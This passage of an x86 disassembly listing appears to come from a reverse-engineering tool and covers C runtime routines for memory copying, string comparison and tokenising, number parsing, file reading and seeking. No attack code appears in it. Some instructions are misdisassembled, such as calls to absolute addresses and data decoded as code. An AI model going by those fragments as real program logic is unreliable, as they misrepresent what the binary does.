--------------------------------------------------------------------------- align 10h loc_418420: ; CODE XREF: sub_4182C0+35j ; sub_4182C0+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41842C: ; CODE XREF: sub_4182C0+35j ; sub_4182C0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_418440: ; CODE XREF: sub_4182C0+35j ; sub_4182C0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_418458: ; CODE XREF: sub_4182C0+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41848C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_418480 std rep movsd cld jmp off_4185A0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_418480: ; CODE XREF: sub_4182C0+1B1j ; sub_4182C0+208j ... neg ecx jmp off_418550[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41848C: ; CODE XREF: sub_4182C0+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_4184A4 and eax, 3 sub ecx, eax jmp dword ptr loc_4184A4+4[eax*4] ; --------------------------------------------------------------------------- loc_4184A4: ; CODE XREF: sub_4182C0+1D6j ; DATA XREF: sub_4182C0+1DDr jmp off_4185A0[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_4184B7+1 ; --------------------------------------------------------------------------- fadd dword ptr [ecx+eax*2+41850000h] loc_4184B7: ; DATA XREF: sub_4182C0+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_418480 std rep movsd cld jmp off_4185A0[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_418480 std rep movsd cld jmp off_4185A0[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_418480 std rep movsd cld jmp off_4185A0[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_418554 dd offset loc_41855C dd offset loc_418564 dd offset loc_41856C dd offset loc_418574 dd offset loc_41857C dd offset loc_418584 off_418550 dd offset loc_418597 ; DATA XREF: sub_4182C0+1C2r ; --------------------------------------------------------------------------- loc_418554: ; DATA XREF: sub_4182C0+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41855C: ; DATA XREF: sub_4182C0+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_418564: ; DATA XREF: sub_4182C0+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41856C: ; DATA XREF: sub_4182C0+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_418574: ; DATA XREF: sub_4182C0+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41857C: ; DATA XREF: sub_4182C0+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_418584: ; DATA XREF: sub_4182C0+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_418597: ; CODE XREF: sub_4182C0+1C2j ; DATA XREF: sub_4182C0:off_418550o jmp off_4185A0[edx*4] ; --------------------------------------------------------------------------- align 10h off_4185A0 dd offset loc_4185B0 ; DATA XREF: sub_4182C0+1B7r ; sub_4182C0:loc_4184A4r ... dd offset loc_4185B8 dd offset loc_4185C8 dd offset loc_4185DC ; --------------------------------------------------------------------------- loc_4185B0: ; CODE XREF: sub_4182C0+1B7j ; sub_4182C0:loc_4184A4j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4185B8: ; CODE XREF: sub_4182C0+1B7j ; sub_4182C0:loc_4184A4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4185C8: ; CODE XREF: sub_4182C0+1B7j ; sub_4182C0:loc_4184A4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4185DC: ; CODE XREF: sub_4182C0+1B7j ; sub_4182C0:loc_4184A4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_4182C0 endp ; =============== S U B R O U T I N E ======================================= sub_4185F5 proc near ; CODE XREF: sub_40473F+34p ; sub_40473F+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_417B9B pop ecx pop ecx retn sub_4185F5 endp ; =============== S U B R O U T I N E ======================================= sub_418603 proc near ; CODE XREF: sub_418670+4p arg_0 = dword ptr 4 push esi push dword_4CF03C call sub_41D5A8 mov edx, dword_4CF03C pop ecx mov ecx, dword_4CF038 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_418662 push edx call sub_41D5A8 add eax, 10h push eax push dword_4CF03C call sub_41944F add esp, 0Ch test eax, eax jnz short loc_418645 retn ; --------------------------------------------------------------------------- loc_418645: ; CODE XREF: sub_418603+3Fj mov ecx, dword_4CF038 sub ecx, dword_4CF03C mov dword_4CF03C, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_4CF038, ecx loc_418662: ; CODE XREF: sub_418603+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_4CF038, 4 retn sub_418603 endp ; =============== S U B R O U T I N E ======================================= sub_418670 proc near ; CODE XREF: sub_40482C+1Ap arg_0 = dword ptr 4 push [esp+arg_0] call sub_418603 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_418670 endp ; =============== S U B R O U T I N E ======================================= sub_418682 proc near ; DATA XREF: ___:00426018o push 80h call sub_417B89 test eax, eax pop ecx mov dword_4CF03C, eax jnz short loc_4186A3 push 18h call sub_419CDA mov eax, dword_4CF03C pop ecx loc_4186A3: ; CODE XREF: sub_418682+12j and dword ptr [eax], 0 mov eax, dword_4CF03C mov dword_4CF038, eax retn sub_418682 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4186B1 proc near ; CODE XREF: ___:00404AFFp ; sub_4053D5+4Ep var_CC = byte ptr -0CCh var_32 = word ptr -32h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax call near ptr 264047Bh nop lea eax, [ebp+var_20] push eax nop call near ptr 2830000h mov ax, [ebp+var_16] cmp ax, word_4CD9AA jnz short loc_418716 mov ax, [ebp+var_18] cmp ax, word_4CD9A8 jnz short loc_418716 mov ax, [ebp+var_1A] cmp ax, word_4CD9A6 jnz short loc_418716 mov ax, [ebp+var_1E] cmp ax, word_4CD9A2 jnz short loc_418716 mov ax, [ebp+var_20] cmp ax, word_4CD9A0 jnz short loc_418716 mov eax, dword_4CD998 jmp short loc_41875B ; --------------------------------------------------------------------------- loc_418716: ; CODE XREF: sub_4186B1+28j ; sub_4186B1+35j ... lea eax, [ebp+var_CC] push eax nop call near ptr 2820000h cmp eax, 0FFFFFFFFh jz short loc_418743 cmp eax, 2 jnz short loc_41873F cmp [ebp+var_32], 0 jz short loc_41873F cmp [ebp+var_24], 0 jz short loc_41873F push 1 pop eax jmp short loc_418746 ; --------------------------------------------------------------------------- loc_41873F: ; CODE XREF: sub_4186B1+7Aj ; sub_4186B1+81j ... xor eax, eax jmp short loc_418746 ; --------------------------------------------------------------------------- loc_418743: ; CODE XREF: sub_4186B1+75j or eax, 0FFFFFFFFh loc_418746: ; CODE XREF: sub_4186B1+8Cj ; sub_4186B1+90j push esi push edi lea esi, [ebp+var_20] mov edi, offset word_4CD9A0 movsd movsd movsd movsd pop edi mov dword_4CD998, eax pop esi loc_41875B: ; CODE XREF: sub_4186B1+63j push eax movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_10] push eax call sub_41D609 mov ecx, [ebp+arg_0] add esp, 1Ch test ecx, ecx jz short locret_41878B mov [ecx], eax locret_41878B: ; CODE XREF: sub_4186B1+D6j leave retn sub_4186B1 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418790 proc near arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] lea eax, dword_4CDA40 cmp dword ptr [eax+8], 0 jnz short loc_4187E3 mov al, 0FFh mov edi, edi loc_4187AC: ; CODE XREF: sub_418790+28j ; sub_418790+48j or al, al jz short loc_4187DE mov al, [esi] inc esi mov ah, [edi] inc edi cmp ah, al jz short loc_4187AC sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_4187AC sbb al, al sbb al, 0FFh loc_4187DE: ; CODE XREF: sub_418790+1Ej movsx eax, al jmp short loc_418817 ; --------------------------------------------------------------------------- loc_4187E3: ; CODE XREF: sub_418790+16j mov eax, 0FFh xor ebx, ebx mov edi, edi loc_4187EC: ; CODE XREF: sub_418790+68j ; sub_418790+80j or al, al jz short loc_418817 mov al, [esi] inc esi mov bl, [edi] inc edi cmp al, bl jz short loc_4187EC push eax push ebx call sub_419101 mov ebx, eax add esp, 4 call sub_419101 add esp, 4 cmp bl, al jz short loc_4187EC sbb eax, eax sbb eax, 0FFFFFFFFh loc_418817: ; CODE XREF: sub_418790+51j ; sub_418790+5Ej pop ebx pop esi pop edi leave retn sub_418790 endp ; =============== S U B R O U T I N E ======================================= sub_41881C proc near ; CODE XREF: ___:0041ACB7p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_418833 add esp, 10h retn sub_41881C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418833 proc near ; CODE XREF: sub_41881C+Ep ; sub_418A3B+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_41884B: ; CODE XREF: sub_418833+46j cmp dword_433E7C, 1 jle short loc_418863 movzx eax, bl push 8 push eax call sub_41A642 pop ecx pop ecx jmp short loc_418872 ; --------------------------------------------------------------------------- loc_418863: ; CODE XREF: sub_418833+1Fj mov ecx, off_433C70 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_418872: ; CODE XREF: sub_418833+2Ej test eax, eax jz short loc_41887B mov bl, [esi] inc esi jmp short loc_41884B ; --------------------------------------------------------------------------- loc_41887B: ; CODE XREF: sub_418833+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_418889 or [ebp+arg_C], 2 jmp short loc_41888E ; --------------------------------------------------------------------------- loc_418889: ; CODE XREF: sub_418833+4Ej cmp bl, 2Bh jnz short loc_418894 loc_41888E: ; CODE XREF: sub_418833+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_418894: ; CODE XREF: sub_418833+59j mov eax, [ebp+arg_8] test eax, eax jl loc_418A2B cmp eax, 1 jz loc_418A2B cmp eax, 24h jg loc_418A2B push 10h test eax, eax pop ecx jnz short loc_4188DC cmp bl, 30h jz short loc_4188C6 mov [ebp+arg_8], 0Ah jmp short loc_4188F8 ; --------------------------------------------------------------------------- loc_4188C6: ; CODE XREF: sub_418833+88j mov al, [esi] cmp al, 78h jz short loc_4188D9 cmp al, 58h jz short loc_4188D9 mov [ebp+arg_8], 8 jmp short loc_4188F8 ; --------------------------------------------------------------------------- loc_4188D9: ; CODE XREF: sub_418833+97j ; sub_418833+9Bj mov [ebp+arg_8], ecx loc_4188DC: ; CODE XREF: sub_418833+83j cmp [ebp+arg_8], ecx jnz short loc_4188F8 cmp bl, 30h jnz short loc_4188F8 mov al, [esi] cmp al, 78h jz short loc_4188F0 cmp al, 58h jnz short loc_4188F8 loc_4188F0: ; CODE XREF: sub_418833+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_4188F8: ; CODE XREF: sub_418833+91j ; sub_418833+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_418908: ; CODE XREF: sub_418833+16Cj cmp dword_433E7C, 1 movzx esi, bl jle short loc_418920 push 4 push esi call sub_41A642 pop ecx pop ecx jmp short loc_41892B ; --------------------------------------------------------------------------- loc_418920: ; CODE XREF: sub_418833+DFj mov eax, off_433C70 mov al, [eax+esi*2] and eax, 4 loc_41892B: ; CODE XREF: sub_418833+EBj test eax, eax jz short loc_418937 movsx ecx, bl sub ecx, 30h jmp short loc_418969 ; --------------------------------------------------------------------------- loc_418937: ; CODE XREF: sub_418833+FAj cmp dword_433E7C, 1 jle short loc_41894B push edi push esi call sub_41A642 pop ecx pop ecx jmp short loc_418956 ; --------------------------------------------------------------------------- loc_41894B: ; CODE XREF: sub_418833+10Bj mov eax, off_433C70 mov ax, [eax+esi*2] and eax, edi loc_418956: ; CODE XREF: sub_418833+116j test eax, eax jz short loc_4189A4 movsx eax, bl push eax call sub_41D6CB pop ecx mov ecx, eax sub ecx, 37h loc_418969: ; CODE XREF: sub_418833+102j cmp ecx, [ebp+arg_8] jnb short loc_4189A4 mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_41898E jnz short loc_418988 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_41898E loc_418988: ; CODE XREF: sub_418833+147j or [ebp+arg_C], 4 jmp short loc_418997 ; --------------------------------------------------------------------------- loc_41898E: ; CODE XREF: sub_418833+145j ; sub_418833+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_418997: ; CODE XREF: sub_418833+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_418908 ; --------------------------------------------------------------------------- loc_4189A4: ; CODE XREF: sub_418833+125j ; sub_418833+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_4189C2 test edx, edx jz short loc_4189BC mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_4189BC: ; CODE XREF: sub_418833+181j and [ebp+var_8], 0 jmp short loc_418A0F ; --------------------------------------------------------------------------- loc_4189C2: ; CODE XREF: sub_418833+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_4189E8 test cl, 1 jnz short loc_418A0F and ecx, 2 jz short loc_4189DF cmp [ebp+var_8], 80000000h ja short loc_4189E8 loc_4189DF: ; CODE XREF: sub_418833+1A1j test ecx, ecx jnz short loc_418A0F cmp [ebp+var_8], eax jbe short loc_418A0F loc_4189E8: ; CODE XREF: sub_418833+197j ; sub_418833+1AAj test byte ptr [ebp+arg_C], 1 mov dword_4CD9B4, 22h jz short loc_4189FE or [ebp+var_8], 0FFFFFFFFh jmp short loc_418A0F ; --------------------------------------------------------------------------- loc_4189FE: ; CODE XREF: sub_418833+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_418A0F: ; CODE XREF: sub_418833+18Dj ; sub_418833+19Cj ... test edx, edx jz short loc_418A18 mov eax, [ebp+var_4] mov [edx], eax loc_418A18: ; CODE XREF: sub_418833+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_418A26 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_418A26: ; CODE XREF: sub_418833+1E9j mov eax, [ebp+var_8] jmp short loc_418A36 ; --------------------------------------------------------------------------- loc_418A2B: ; CODE XREF: sub_418833+66j ; sub_418833+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_418A34 mov [eax], edi loc_418A34: ; CODE XREF: sub_418833+1FDj xor eax, eax loc_418A36: ; CODE XREF: sub_418833+1F6j pop edi pop esi pop ebx leave retn sub_418833 endp ; =============== S U B R O U T I N E ======================================= sub_418A3B proc near ; CODE XREF: sub_4053D5+4BDp ; sub_40EE72+3773p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_418833 add esp, 10h retn sub_418A3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A52 proc near ; CODE XREF: sub_4053D5+266p ; sub_4053D5+46Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_417AB0 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_41D797 add esp, 10h leave retn sub_418A52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A86 proc near ; CODE XREF: sub_405A58+4Ep ; sub_406C19+30Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_418AAA xor eax, eax jmp loc_418B53 ; --------------------------------------------------------------------------- loc_418AAA: ; CODE XREF: sub_418A86+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_418ABD mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_418AC9 ; --------------------------------------------------------------------------- loc_418ABD: ; CODE XREF: sub_418A86+2Dj mov [ebp+arg_C], 1000h jmp short loc_418AC9 ; --------------------------------------------------------------------------- loc_418AC6: ; CODE XREF: sub_418A86+C4j mov ecx, [ebp+arg_0] loc_418AC9: ; CODE XREF: sub_418A86+35j ; sub_418A86+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_418AFB mov eax, [esi+4] test eax, eax jz short loc_418AFB cmp ecx, eax mov edi, ecx jb short loc_418AE0 mov edi, eax loc_418AE0: ; CODE XREF: sub_418A86+56j push edi push dword ptr [esi] push ebx call sub_417390 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_418B46 ; --------------------------------------------------------------------------- loc_418AFB: ; CODE XREF: sub_418A86+49j ; sub_418A86+50j cmp ecx, [ebp+arg_C] jb short loc_418B2E cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_418B11 xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_418B11: ; CODE XREF: sub_418A86+80j push eax push ebx push dword ptr [esi+10h] call sub_41E321 add esp, 0Ch test eax, eax jz short loc_418B58 cmp eax, 0FFFFFFFFh jz short loc_418B5E sub [ebp+arg_0], eax add ebx, eax jmp short loc_418B46 ; --------------------------------------------------------------------------- loc_418B2E: ; CODE XREF: sub_418A86+78j push esi call sub_41E248 cmp eax, 0FFFFFFFFh pop ecx jz short loc_418B62 mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_418B46: ; CODE XREF: sub_418A86+73j ; sub_418A86+A6j cmp [ebp+arg_0], 0 jnz loc_418AC6 mov eax, [ebp+arg_8] loc_418B53: ; CODE XREF: sub_418A86+1Fj ; sub_418A86+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_418B58: ; CODE XREF: sub_418A86+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_418B62 ; --------------------------------------------------------------------------- loc_418B5E: ; CODE XREF: sub_418A86+9Fj or dword ptr [esi+0Ch], 20h loc_418B62: ; CODE XREF: sub_418A86+B2j ; sub_418A86+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_418B53 sub_418A86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418B6E proc near ; CODE XREF: sub_405AF2+2B2p ; sub_4060D0+101p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_418B87: ; CODE XREF: sub_418B6E+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_418B87 mov edx, [ebp+arg_0] test edx, edx jnz short loc_418BAF mov edx, dword_4CD9B0 loc_418BAF: ; CODE XREF: sub_418B6E+39j ; sub_418B6E+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_418BCF test al, al jz short loc_418BCF inc edx jmp short loc_418BAF ; --------------------------------------------------------------------------- loc_418BCF: ; CODE XREF: sub_418B6E+58j ; sub_418B6E+5Cj mov ebx, edx loc_418BD1: ; CODE XREF: sub_418B6E+81j mov al, [edx] test al, al jz short loc_418BF5 movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_418BF1 inc edx jmp short loc_418BD1 ; --------------------------------------------------------------------------- loc_418BF1: ; CODE XREF: sub_418B6E+7Ej and byte ptr [edx], 0 inc edx loc_418BF5: ; CODE XREF: sub_418B6E+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_4CD9B0, edx and eax, ebx pop ebx leave retn sub_418B6E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418C10 proc near ; CODE XREF: sub_406387+1B6p ; sub_407252+6Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_418C93 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_418C34 shr ecx, 2 jnz short loc_418CA1 jmp short loc_418C55 ; --------------------------------------------------------------------------- loc_418C34: ; CODE XREF: sub_418C10+1Bj ; sub_418C10+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_418C62 test al, al jz short loc_418C6A test esi, 3 jnz short loc_418C34 mov ebx, ecx shr ecx, 2 jnz short loc_418CA1 loc_418C50: ; CODE XREF: sub_418C10+8Fj and ebx, 3 jz short loc_418C62 loc_418C55: ; CODE XREF: sub_418C10+22j ; sub_418C10+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_418C8E dec ebx jnz short loc_418C55 loc_418C62: ; CODE XREF: sub_418C10+2Bj ; sub_418C10+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_418C6A: ; CODE XREF: sub_418C10+2Fj test edi, 3 jz short loc_418C84 loc_418C72: ; CODE XREF: sub_418C10+72j mov [edi], al inc edi dec ecx jz loc_418D06 test edi, 3 jnz short loc_418C72 loc_418C84: ; CODE XREF: sub_418C10+60j mov ebx, ecx shr ecx, 2 jnz short loc_418CF7 loc_418C8B: ; CODE XREF: sub_418C10+7Fj ; sub_418C10+F4j mov [edi], al inc edi loc_418C8E: ; CODE XREF: sub_418C10+4Dj dec ebx jnz short loc_418C8B pop ebx pop esi loc_418C93: ; CODE XREF: sub_418C10+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_418C99: ; CODE XREF: sub_418C10+A9j ; sub_418C10+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_418C50 loc_418CA1: ; CODE XREF: sub_418C10+20j ; sub_418C10+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_418C99 test dl, dl jz short loc_418CEB test dh, dh jz short loc_418CE1 test edx, 0FF0000h jz short loc_418CD7 test edx, 0FF000000h jnz short loc_418C99 mov [edi], edx jmp short loc_418CEF ; --------------------------------------------------------------------------- loc_418CD7: ; CODE XREF: sub_418C10+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_418CEF ; --------------------------------------------------------------------------- loc_418CE1: ; CODE XREF: sub_418C10+B1j and edx, 0FFh mov [edi], edx jmp short loc_418CEF ; --------------------------------------------------------------------------- loc_418CEB: ; CODE XREF: sub_418C10+ADj xor edx, edx mov [edi], edx loc_418CEF: ; CODE XREF: sub_418C10+C5j ; sub_418C10+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_418D01 loc_418CF7: ; CODE XREF: sub_418C10+79j xor eax, eax loc_418CF9: ; CODE XREF: sub_418C10+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_418CF9 loc_418D01: ; CODE XREF: sub_418C10+E5j and ebx, 3 jnz short loc_418C8B loc_418D06: ; CODE XREF: sub_418C10+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_418C10 endp ; =============== S U B R O U T I N E ======================================= sub_418D0E proc near ; CODE XREF: sub_406C19+2E2p ; sub_406C19+435p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_418D8A mov edi, [esp+8+arg_8] test edi, edi jz short loc_418D2D cmp edi, 1 jz short loc_418D2D cmp edi, 2 jnz short loc_418D8A loc_418D2D: ; CODE XREF: sub_418D0E+13j ; sub_418D0E+18j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_418D44 push esi call sub_41E5B1 add [esp+0Ch+arg_4], eax pop ecx xor edi, edi loc_418D44: ; CODE XREF: sub_418D0E+27j push esi call sub_41A7D0 mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_418D59 and al, 0FCh mov [esi+0Ch], eax jmp short loc_418D6D ; --------------------------------------------------------------------------- loc_418D59: ; CODE XREF: sub_418D0E+42j test al, 1 jz short loc_418D6D test al, 8 jz short loc_418D6D test ah, 4 jnz short loc_418D6D mov dword ptr [esi+18h], 200h loc_418D6D: ; CODE XREF: sub_418D0E+49j ; sub_418D0E+4Dj ... push edi push [esp+0Ch+arg_4] push dword ptr [esi+10h] call sub_41E517 add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_418D97 ; --------------------------------------------------------------------------- loc_418D8A: ; CODE XREF: sub_418D0E+Bj ; sub_418D0E+1Dj mov dword_4CD9B4, 16h or eax, 0FFFFFFFFh loc_418D97: ; CODE XREF: sub_418D0E+7Aj pop edi pop esi retn sub_418D0E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418DA0 proc near ; CODE XREF: sub_406C19+2ACp ; sub_406C19+2CDp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_418DD1 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_418DCF jz short loc_418DD1 dec ecx dec ecx loc_418DCF: ; CODE XREF: sub_418DA0+29j not ecx loc_418DD1: ; CODE XREF: sub_418DA0+9j ; sub_418DA0+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_418DA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418DE0 proc near ; CODE XREF: sub_407110+5Cp ; sub_407110+9Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_418E94 mov edi, 